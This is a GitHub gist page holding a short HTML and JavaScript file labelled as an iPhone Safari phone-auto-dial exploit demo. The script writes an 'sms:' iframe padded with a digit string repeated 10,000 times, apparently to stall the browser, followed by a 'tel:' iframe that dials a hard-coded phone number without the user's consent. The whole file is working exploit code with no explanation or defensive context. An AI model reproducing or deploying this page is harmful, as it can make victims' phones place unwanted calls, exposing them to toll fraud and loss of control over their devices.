Skip to content

Instantly share code, notes, and snippets.

@andreafortuna
Created November 10, 2016 09:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreafortuna/50d68e9d109c25bc2cb84abee42463fa to your computer and use it in GitHub Desktop.
Save andreafortuna/50d68e9d109c25bc2cb84abee42463fa to your computer and use it in GitHub Desktop.
<html>
<head>
<title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
</title>
</head>
<body>
<script lang=javascript>
l = "<iframe src=\"sms:";
for (i = 0; i < 10000; i++) {
l = l + "3340948034298232";
}
l = l + "\" width=10 height=10></iframe><iframe
src=\"tel:+14089748388\" height=10 width=10></iframe>";
document.write(l);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment